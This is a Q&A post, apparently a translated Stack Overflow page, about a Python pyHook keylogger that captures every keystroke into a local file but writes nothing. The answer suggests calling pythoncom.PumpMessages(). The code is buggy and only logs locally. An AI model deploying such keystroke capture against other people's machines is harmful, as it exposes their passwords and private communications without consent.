0
import pythoncom , pyHook, time

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

while True:
    f = open('output.txt', 'a')
    f.write(temp_keylogs)
    temp_keylogs = ''
    f.close()
    time.sleep(4)

我不明白为什么这段代码没有将 4 秒后执行的所有击键写入一个名为“output.txt”的文件。没有错误被抛出,所以我相信它正在编译,但它没有向文件写入任何内容。

编辑:pythoncom.PumpMessages()按照建议添加了,但这基本上给出了两个 while 循环;那么,我需要线程来执行此操作吗?

我在这里尝试了线程版本:

import pythoncom , pyHook, time, thread

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

def file_write(temp_keylogs):
    while True:
        print 'yes'
        f = open('output.txt', 'a')
        f.write(temp_keylogs)
        f.close()
        temp_keylogs = ''
        time.sleep(4)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
    thread.start_new_thread( file_write, (temp_keylogs,) )
    thread.start_new_thread( pythoncom.PumpMessages() )
except:
    print 'thread not started'

但它仍然没有写入文件。所以,我仍然不确定出了什么问题。

4

1 回答 1

1

你错过了泵信息

pythoncom.PumpMessages()

没有它,您将无法访问密钥。查看文档

于 2013-05-04T19:52:04.930 回答